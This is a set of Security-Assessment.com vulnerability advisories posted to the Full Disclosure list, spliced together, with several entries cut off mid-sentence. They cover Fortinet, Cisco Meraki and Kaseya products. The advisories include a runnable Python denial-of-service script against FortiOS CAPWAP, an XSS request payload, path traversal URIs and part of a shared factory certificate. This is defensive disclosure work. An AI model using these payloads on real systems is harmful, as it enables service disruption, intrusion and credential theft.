117, 122, 39, 67, 114, 124, 115, 44, 113, 116, 124, 123, 58, 89, 118, 94 });
SecretKeySpec localSecretKeySpec = new SecretKeySpec(KEY.getBytes(),
"AES");
Cipher localCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
localCipher.init(2, localSecretKeySpec, localIvParameterSpec);
String str = new String(localCipher.doFinal(arrayOfByte));
return str;
}
catch (Exception localException)
{
}
return null;
}
}
--[ Broken SSL Certificate Validation
By performing a Man-In-The-Middle attack, an attacker can host their own SSL
server with a self-signed certificate and harvest credentials from legitimate
end users. As the FortiClient SSL VPN client and Endpoint Control client do
not validate certificates, the attacker can harvest credentials and
mobile device information.
The Android version of the FortiClient software was found to display a warning
prompt when the SSL VPN server’s certificate is not trusted. The iOS version
does not display any warnings to the user, regardless of whether or not the
‘check server certificate’ option is enabled (one should note that by default
this option is disabled). This exposes FortiClient iOS users to
Man-In-The-Middle attacks.
The Endpoint Control protocol, which attempts to connect to the devices default
gateway on TCP port 8010, similarly does not validate SSL certificates. Both
the FortiClient Android and iOS applications were found to ignore certificate
validity for the endpoint control protocol and did not prompt the end user
when the server’s certificate was invalid.
+--+
| Solution |
+--+
No official solution is currently available for these vulnerabilities.
+-+
| Disclosure Timeline |
+-+
08/10/2014 -Initial email sent to Fortinet PSIRT team.
09/10/2014 -Advisory documents sent to Fortinet.
15/10/2
[FD] Cisco Meraki Systems Manager Multiple Vulnerabilities
(, ) (,
. '.' ) ('.',
). , ('. ( ) (
(_,) .'), ) _ _,
/ _/ / _ \ _
\ \==/ /_\ \ _/ ___\/ _ \ / \
/ \/ |\\ \__( <_> ) Y Y \
/__ /\___|__ / \___ >/|__|_| /
\/ \/.-.\/ \/:wq
(x.0)
'=.|w|.='
_=''"''=.
presents..
Cisco Meraki Systems Manager Multiple Vulnerabilities
Affected Versions: Cisco Meraki Systems Manager - Unknown Versions
PDF:
http://www.security-assessment.com/files/documents/advisory/Cisco_Meraki_Systems_Manager_Multiple_Vulnerabilities.pdf
+-+
| Description |
+-+
The Cisco Meraki Systems Manager system was found to suffer from a number of
vulnerabilities. A Cross Site Request Forgery vulnerability was discovered,
allowing an attacker to determine the registration code for an organisation's
Systems Manager instance or send out spam email. A Stored Cross Site Scripting
vulnerability was discovered, allowing a malicious end user running the
Systems Manager MDM software to stage Cross Site Scripting attacks against the
organisation's administrative users.
The Cisco Meraki Systems Manager administrative console was found to suffer
from a Mass Assignment vulnerability, allowing a malicious user to leverage
the "Backpack" functionality to automatically download and install arbitrary
applications to the end user devices. Additionally, legitimate updates for the
Systems Manager MDM software were found to be shipped over HTTP. This allows
an attacker to intercept and tamper the application package provided they have
access to the network communications somewhere between the client and the
Meraki cloud.
+--+
| Exploitation |
+--+
--[ Cross Site Request Forgery
The Cisco Meraki System Manager administrative console uses an ‘X-CSRF-Token’
HTTP header to protect against Cross Site Request Forgery attacks, however it
was found that this header is often not validated on the server side and can
simply be omitted. The following POC can be used to coerce an authenticated
user into sending an email containing arbitrary content to an arbitrary
address.
https://n85.meraki.com/Systems-Manager/n/Q6mExcvb/manage/configure/pcc_send_mdm_link/";>
The CSRF POC on the previous page will send an invitation message to
‘ao367gnae9aer7...@mailinator.com’. An attacker may leverage this to enumerate
an organizations registration code and stage further attacks against the
Meraki deployment.
--[ Stored Cross Site Scripting
As Systems Manager relies on a certificate on the mobile device
(provisioned via SCEP during registration) to provide authentication. A
condition was discovered wherein a malicious user can retrieve the relevant
certificate and key and stage attacks against the Systems Manager
administrative console. This lead to a Stored Cross Site Scripting
vulnerability, where a malicious user may send a crafted request to
/android/callback with malicious JavaScript code in the system_model
parameter. The Mdm-Signature header is then recreated by the malicious user
and the payload sent. The Mdm-Signature header can be generated by using a
SpongyCastle content signer to generate a signature for the POST parameter
data.
The following is a request detailing the exploit. The system_model parameter
is the affected field. The parameter field has been shortened for brevities
sake.
POST /android/callback HTTP/1.1
Mdm-Signature:
Content-Length:
Content-Type: application/x-www-form-urlencoded
Host:
Connection: Keep-Alive
{snip}&system_model=Galaxy+XSS+%3cscript%3ealert(%27Malicious+Javascript%27)%3c%2fscript%3e{snip}
The certificate and key used to create the Mdm-Signature header can be found
under /data/data/com.meraki.sm/files/ on a provisioned Android
device. The password for the keystore is under the ‘scep_keystore_password’
shared preference.
In order to exploit this, the attacker must be registered against the
Meraki MDM instance (in order to have the correct certificate). This requires
the knowledge of a 10 digit enrollment code (xxx-xxx-). These need to be
brute forced or obtained via other means (invitation email, QR code,
etcetera).
--[ Backpack Mass Assignment
The ‘Backpack’ functionality of the Cisco Meraki Systems Manager can be abused
to install arbitrary APK files on users’ devices. This is achieved by using
mass assignment to define the ‘auto_download’ and ‘auto_install’ flags on a
specific item (in this case an APK file). This is done in the post to
/System-Manager/n//manage/configure/update_pcc_ios. Further information is
available in the PDF version of this advisory.
It should be noted that the management policy popup on the device disables the
back button once the user is prompted to install the arbitrary APK and access
back into the Meraki Systems manager application cannot be achieved without
tapping th
[FD] Fortinet FortiOS Multiple Vulnerabilities
(, ) (,
. '.' ) ('.',
). , ('. ( ) (
(_,) .'), ) _ _,
/ _/ / _ \ _
\ \==/ /_\ \ _/ ___\/ _ \ / \
/ \/ |\\ \__( <_> ) Y Y \
/__ /\___|__ / \___ >/|__|_| /
\/ \/.-.\/ \/:wq
(x.0)
'=.|w|.='
_=''"''=.
presents..
Fortinet FortiOS Multiple Vulnerabilities
Affected Versions: Verified on FortiOS Firmware v5.0,build4457 (GA Patch 7)
PDF:
http://www.security-assessment.com/files/documents/advisory/Fortinet_FortiOS_Multiple_Vulnerabilities.pdf
+-+
| Description |
+-+
This advisory details multiple vulnerabilities found within the Fortinet
FortiOS software. FortiOS is a security-hardened, purpose-built Operating
System that is the foundation of all FortiGate network security platforms.
A denial of service vulnerability was discovered within the CAPWAP Daemon,
allowing an attacker to lock the CAPWAP Access Controller. This was achieved
by sending recurring DTLS messages to the daemon. The CAPWAP daemon itself was
found to suffer from a Man-In-The-Middle vulnerability, due to the nature of
Fortinet’s certificate practices. A Stored Cross Site Scripting vulnerability
was also discovered, allowing an attacker to send a crafted CAPWAP join
request containing malicious JavaScript code. This code is subsequently
rendered in the FortiOS administrative console.
+--+
| Exploitation |
+--+
--[ CAPWAP Daemon DTLS Denial of Service Vulnerability
During the DTLS session establishment, the protocol implements a
‘HelloVerifyRequest’ send back to the client in response to the initial
‘ClientHello’. The client is then required to send a ‘ClientHello’ with a
specific cookie provided in the ‘HelloVerifyRequest’. This is designed to
protect against Denial of Service attacks. It was discovered that, even though
the Fortinet DTLS server implements this, sending a number of initial
‘ClientHello’ requests in short succession creates a denial of service
condition on the FortiOS device.
The number of requests required to trigger the condition was found to be
dependent on the specifications of the machine running FortiOS, however this
was tested against a mid-range Fortigate device and successfully caused a
Denial of Service condition with as little as ten requests.
The following POC code can be used to replicate this vulnerability:
#!/usr/bin/python
#
# FortiOS CAPWAP Control Denial Of Service POC
#
# This exploit will trigger a denial of service
# condition on the FortiOS CAPWAP Control Daemon
# by sending recurring DTLS Client Hello
# messages.
#
# Author: Denis Andzakovic
# Date: 19/08/2014
#
import socket
import os
import time
from struct import pack
import binascii
import argparse
# Grab parameters from command line
parser = argparse.ArgumentParser(description='FortiOS CAPWAP Control Server -
DTLS Client Hello DOS')
parser.add_argument('-d','--host', help="IP Address of the host to attack",
required=True)
args = parser.parse_args()
randombytes = os.urandom(28)
capwapreamble = "\x01\x00\x00\x00"
hello = "\x16" + "\xfe\xff" + "\x00"*8 #handshake id, version, epoch and seq
handshakeProtocol = "\x01" + "\x00\x00\x2c" + "\x00"*6 + "\x00\x2c" +
"\xfe\xff" + pack(">i",int(time.time())) + randombytes + "\x00" + "\x00" +
"\x00\x04" + "\x00\x2f\x00\x0a\x01\x00"
while True:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(capwapreamble + hello + pack(">H",len(handshakeProtocol)) +
handshakeProtocol, (args.host, 5246))
resp, senderaddr = sock.recvfrom(4098)
cookie = resp[31:]
print "[+] Got response. Cookie: " + binascii.hexlify(cookie)
--[ DTLS Man-In-The-Middle Vulnerability
Fortinet devices were found to use DTLS for the CAPWAP control protocol, with
the CAPWAP data protocol being cleartext by default. The CAPWAP DTLS protocol
was found to use a universal ‘Fortinet_Factory’ certificate and private key,
the certificate authority for which is static across all Fortinet devices. A
method for replacing this certificate was not found.
By harvesting this certificate and key, an attacker may stage Man in the
Middle attacks against any Fortinet device using the CAPWAP DTLS protocol.
This allows for the retrieval of sensitive information such as wireless SSIDs
and WPA passphrases. The two files, ‘Fortinet_Factory.cer’ and
‘Fortinet_Factory.key’ can be found in the /etc/cert/local directory on
Fortinet devices.
The following details the ‘Fortinet_Factory’ certificate and private
key. By using the following certificate an attacker may stage
Man in the Middle attacks against any Fortinet access point or wireless
controller implementing the CAPWAP Control protocol globally.
-BEGIN CERTIFICATE-
MIIDRTCCAi2gAwIBAgIDAN9yMA0GCSqGSIb3DQEBBQUAMIGgMQswCQYDVQQGEwJV
UzETMBEGA1UECBMKQ2FsaWZvcm5pYTESMBAGA1UEBxMJU3Vubnl2YWxlMREwDwYD
VQQKEwhGb3
[FD] Kaseya BYOD Gateway Multiple Vulnerabilities
(, ) (,
. '.' ) ('.',
). , ('. ( ) (
(_,) .'), ) _ _,
/ _/ / _ \ _
\ \==/ /_\ \ _/ ___\/ _ \ / \
/ \/ |\\ \__( <_> ) Y Y \
/__ /\___|__ / \___ >/|__|_| /
\/ \/.-.\/ \/:wq
(x.0)
'=.|w|.='
_=''"''=.
presents..
Kaseya BYOD Gateway Multiple Vulnerabilities
Affected Versions: Kaseya BYOD Gateway 7.0.2
PDF:
http://www.security-assessment.com/files/documents/advisory/Kaseya_BYOD_Gateway_Multiple_Vulnerabilities.pdf
+-+
| Description |
+-+
This advisory details multiple vulnerabilities found within the Kaseya BYOD
Gateway software. By chaining a combination of lacking SSL verification, poor
authentication mechanisms and arbitrary redirection vulnerabilities, a
malicious entity may potentially compromise any Kaseya BYOD installation.
The Kaseya BYOD Gateway software uses a redirection feature, wherein users are
redirected to their local Kaseya installation via Kaseya’s hosted servers. The
update request from the BYOD Gateway software to the Kaseya hosted servers was
not found to verify SSL certificates and fails to implement any form of
authentication, instead relying on the length of the gateway identifier to
provide security. Thus, the security of the solution depends on an attacker’s
ability to enumerate the gateway identifier. Once a malicious user enumerates
the Gateway identifier, then they may update the redirect rule for that
customer in Kaseya’s hosted servers, redirecting customers to a malicious
Kaseya BYOD Gateway.
+--+
| Exploitation |
+--+
--[ Lack of SSL Certificate Validation
The Kaseya BYOD Gateway was not found to validate SSL certificates when
contacting the Kaseya hosted servers. Requests were found to be made to the
Kaseya hosted servers when updating redirection information (for
local-network-only instances of Kaseya) and when submitting licensing
information. This allows a malicious entity with network access somewhere
between the BYOD Gateway and Kaseya’s servers to perform a Man-In-The-Middle
attack.
--[ Arbitrary Redirection
By intercepting and replaying the request below, a malicious entity may
specify an arbitrary ‘url’ parameter within the ‘siteinfo’ XML tag. The Kaseya
provisioning relay server then updates the BYOD Gateway redirect with the URL
specified. The redirection takes place when a user queries
https://provision.relay.kaseya.net/siteinfo/ (where code is the
installation’s 6 digit access code). The
https://provision.relay.kaseya.net/siteinfo/ page is queried during the
Kaseya BYOD mobile applications’ start up process in order to determine the
location of the BYOD Gateway.
POST /checkin/gateway/rq-be9781109e7111e3afa822000ab9104f HTTP/1.1
Accept-Encoding: identity
Content-Length: {content length}
Host: provision.relay.kaseya.net
Content-Type: text/xml
Connection: close
User-Agent: Kaseya-Tetra/7.0.2 (CL 7)
Once an installation’s Gateway Identifier is known
(rq-be9781109e7111e3afa822000ab9104f in the example above), a malicious entity
may control the redirection and send users to their own malicious Kaseya BYOD
Gateway. This code was found to be disclosed in a number of locations,
including device logs, in the Kaseya BYOD Gateway’s pages or by Kaseya’s
hosted relay servers. The installation gateway identifier is disclosed during
the sign up process. Thus, an attacker that can enumerate the customer's six
digit numeric registration code can step through the registration process,
retrieve the gateway identifier and hijack the installation.
+--+
| Solution |
+--+
No official solution is currently available for this issue.
+-+
| Disclosure Timeline |
+-+
03/10/2014 -Initial contact with Kaseya Support
09/10/2014 -Established Kaseya security contact
13/10/2014 -Advisories sent to Kaseya
21/10/2014 -Additional information sent to Kaseya
22/11/2014 -Update from Kaseya
29/01/2015 -Advisory Release
+---+
| About Security-Assessment.com |
+---+
Security-Assessment.com is Australasia's leading team of Information Security
consultants specialising in providing high quality Information Security
services to clients throughout the Asia Pacific region. Our clients include
some of the largest globally recognised companies in areas such as finance,
telecommunications, broadcasting, legal and government. Our aim is to provide
the very best independent advice and a high level of technical expertise while
creating long and lasting professional relationships with our clients.
Security-Assessment.com is committed to security research and development,
and its team continues to identify and responsibly publish vulnerabilities
in public and private software vendor's products. Members of the
Security-Ass
[FD] Kaseya Browser Android Path Traversal
(, ) (,
. '.' ) ('.',
). , ('. ( ) (
(_,) .'), ) _ _,
/ _/ / _ \ _
\ \==/ /_\ \ _/ ___\/ _ \ / \
/ \/ |\\ \__( <_> ) Y Y \
/__ /\___|__ / \___ >/|__|_| /
\/ \/.-.\/ \/:wq
(x.0)
'=.|w|.='
_=''"''=.
presents..
Kaseya Browser Android Path Traversal
Affected Versions: Kaseya Browser 7.0 Android
PDF:
http://www.security-assessment.com/files/documents/advisory/Kaseya_Browser_Android_Path_Traversal.pdf
+-+
| Description |
+-+
This advisory details a vulnerability found within Kaseya Browser Android
application. A path traversal vulnerability was discovered within an exported
content provider, resulting in the disclosure of arbitrary files, including
internal application files.
+--+
| Exploitation |
+--+
The Kaseya Browser Android application exposes a content provider that is
vulnerable to path traversal. This allows any other application installed on
the device to read arbitrary files using the Kaseya Browser application’s
permissions. This can be done by reading from the com.roverapps.retriever
content provider as follows:
content://com.roverapps.retriever/../../../../../sdcard/
content://com.roverapps.retriever/../databases/suitestorage.db
+--+
| Solution |
+--+
No official solution is currently available for this issue.
+-+
| Disclosure Timeline |
+-+
03/10/2014 -Initial contact with Kaseya Support
09/10/2014 -Established Kaseya security contact
13/10/2014 -Advisories sent to Kaseya
21/10/2014 -Additional information sent to Kaseya
22/11/2014 -Update from Kaseya
29/01/2015 -Advisory Release
+---+
| About Security-Assessment.com |
+---+
Security-Assessment.com is Australasia's leading team of Information Security
consultants specialising in providing high quality Information Security
services to clients throughout the Asia Pacific region. Our clients include
some of the largest globally recognised companies in areas such as finance,
telecommunications, broadcasting, legal and government. Our aim is to provide
the very best independent advice and a high level of technical expertise while
creating long and lasting professional relationships with our clients.
Security-Assessment.com is committed to security research and development,
and its team continues to identify and responsibly publish vulnerabilities
in public and private software vendor's products. Members of the
Security-Assessment.com R&D team are globally recognised through their release
of whitepapers and presentations related to new security research.
For further information on this issue or any of our service offerings,
contact us:
Web www.security-assessment.com
Email info () security-assessment com
Phone +64 4 470 1650
___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/
